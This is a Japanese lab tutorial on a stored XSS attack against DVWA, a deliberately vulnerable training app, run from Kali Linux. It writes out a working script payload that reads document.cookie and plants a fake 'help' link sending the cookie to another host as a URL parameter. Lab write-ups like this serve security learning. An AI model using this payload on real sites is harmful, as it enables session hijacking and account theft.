前提
- kali linux環境がある
- DVWAのセットアップ済み(https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c )
目標
- xssでセッションを奪取する
手順概要
- xssの可否チェック
- cookieが取れるか確認する
- 別のドメインへcookieを飛ばす
内容
xssとは
- クロスサイトスクリプティングの略称
- scriptを使って、サイト間で不正なデータを送り込むなど、小細工する
- 今回の場合は投稿データにスクリプトを埋め込み。サイトに不正なリンクを設置する
前準備
- DVWAにログインする
- 以下コードをkali上で実行しDVWAを立ち上げる。
- http://localhost/DVWA-master/index.php
- admin/passwordでログイン
- セキュリティレベルを下げる。
- メニュー下にあるDVWA securityへアクセス
- デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start
- XSS(stored)にアクセスする(左メニューにある)
XSS開始
- 挙動を確認する
- Nameにはあまり文字数がはいらない
- MessageにHTMLを埋め込んでみる(下記参照)
- どうやらhtmlをそのまま読み込んでいるみたい
#start
<h1>heading1</h1>
#end
- スクリプトで悪いことする
- 下記スクリプトを淡々と埋め込む。
- cookie関係のスクリプトは(https://qiita.com/KPenguin/items/983348dace1527ef9963 )を参照。
- 埋め込み終えると、ヘルプボタンを設置できた(以下画像)。
- このメッセージは全ユーザーが見れるようにDBに登録されるので、表示したユーザー全員にヘルプボタンが表示されるようになる。
<!-- 変数設定-->
<script>d=document;k=d.cookie;c="click"</script>
<script>u="http://localhost?k="+k;</script>
<!-- アンカータグ作成-->
<script>a=d.createElement("a")</script>
<script>a.href=u;a.innerText="ヘルプ"</script>
<!-- 埋め込み先指定-->
<script>p=d.getElementsByTagName("table")</script>
<!-- 埋め込み-->
<script>p[0].appendChild(a)</script>
- 純粋な気持ちで「ヘルプ」押してみる
- 別のサイトに飛んでしまった。しかもcookie付きで
おわり